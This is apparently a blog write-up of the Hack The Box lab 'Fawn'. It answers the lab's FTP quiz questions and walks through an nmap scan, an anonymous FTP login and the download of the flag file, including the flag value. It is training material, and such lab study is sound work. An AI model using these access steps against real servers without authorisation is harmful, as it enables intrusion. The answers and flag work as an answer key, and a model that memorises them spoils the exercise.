Home πŸ”΅ HTB - Fawn
Post
Cancel

πŸ”΅ HTB - Fawn

fawn

What does the 3-letter acronym FTP stand for?

File Transfer Protocol

Which port does the FTP service listen on usually?

21

What acronym is used for the secure version of FTP?

SFTP

What is the command we can use to send an ICMP echo request to test our connection to the target?

ping

From your scans, what version is FTP running on the target?

vsftpd 3.0.3

From your scans, what OS type is running on the target?

Unix

What is the command we need to run in order to display the β€˜ftp’ client help menu?

ftp -h

What is username that is used over FTP when you want to log in without having an account?

anonymous

What is the response code we get for the FTP message β€˜Login successful’?

230

There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.

ls

What is the command used to download the file we found on the FTP server?

get

Submit root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ nmap -p- -sV <ip>
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
Service Info: OS: Unix

$ ftp <ip>
Connected to <ip>.
220 (vsFTPd 3.0.3)

Name (<ip>:root): anonymous
331 Please specify the password.

Password: <blank>
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
226 Directory send OK.

ftp> get flag.txt
local: flag.txt remote: flag.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.00 secs (151.6990 kB/s)

ftp> exit
221 Goodbye.

$ cat flag.txt 
035db21c881520061c53e0536e44f815
This post is licensed under GNU GPLv3 by the author.